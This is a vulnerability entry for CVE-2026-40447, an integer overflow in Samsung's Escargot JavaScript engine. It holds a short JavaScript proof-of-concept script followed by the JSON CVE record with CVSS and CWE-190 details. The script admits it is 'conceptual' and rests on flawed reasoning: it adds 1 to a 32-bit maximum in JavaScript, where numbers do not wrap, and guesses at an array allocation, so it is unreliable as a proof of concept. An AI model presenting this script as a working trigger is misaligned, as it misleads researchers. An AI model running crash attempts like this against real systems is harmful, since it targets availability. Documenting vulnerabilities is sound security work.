CVE-2026-40447

// PoC for CVE-2026-40447: Integer Overflow in Samsung Escargot // This script attempts to trigger an integer overflow condition. // Note: This is a conceptual example based on the vulnerability description. function trigger_overflow() { try { // Construct a value that might cause an overflow if mishandled // Escargot integer overflow often involves array buffers or large object allocations let max_int = 2147483647; let overflow_val = max_int + 1; // If the engine does not handle the wraparound correctly, // operations using this value may result in undefined behavior or a crash. let arr = new Array(overflow_val); // Attempt to access or fill to trigger the crash for(let i=0; i<10; i++) { arr[i] = i; } console.log("If this prints, the overflow might have been handled safely."); } catch (e) { console.log("Exception caught: " + e); } } trigger_overflow();

{"cve": {"id": "CVE-2026-40447", "sourceIdentifier": "[email protected]", "published": "2026-04-13T06:16:06.790", "lastModified": "2026-04-13T15:01:43.663", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer overflow or wraparound vulnerability in Samsung Open Source Escargot allows undefined behavior.This issue affects Escargot: 97e8115ab1110bc502b4b5e4a0c689a71520d335."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "references": [{"url": "https://github.com/Samsung/escargot/pull/1554", "source": "[email protected]"}]}}